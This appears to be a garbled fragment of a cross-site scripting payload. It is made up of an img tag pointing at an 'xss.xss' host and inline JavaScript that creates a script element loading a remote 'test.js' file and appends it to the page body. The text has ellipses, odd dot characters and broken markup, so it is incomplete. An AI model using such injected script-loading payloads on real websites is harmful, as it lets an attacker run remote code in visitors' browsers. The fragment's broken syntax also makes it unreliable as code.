.........
img src="http://xss.xss/xss.jpg" x='
...."var x=document·('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /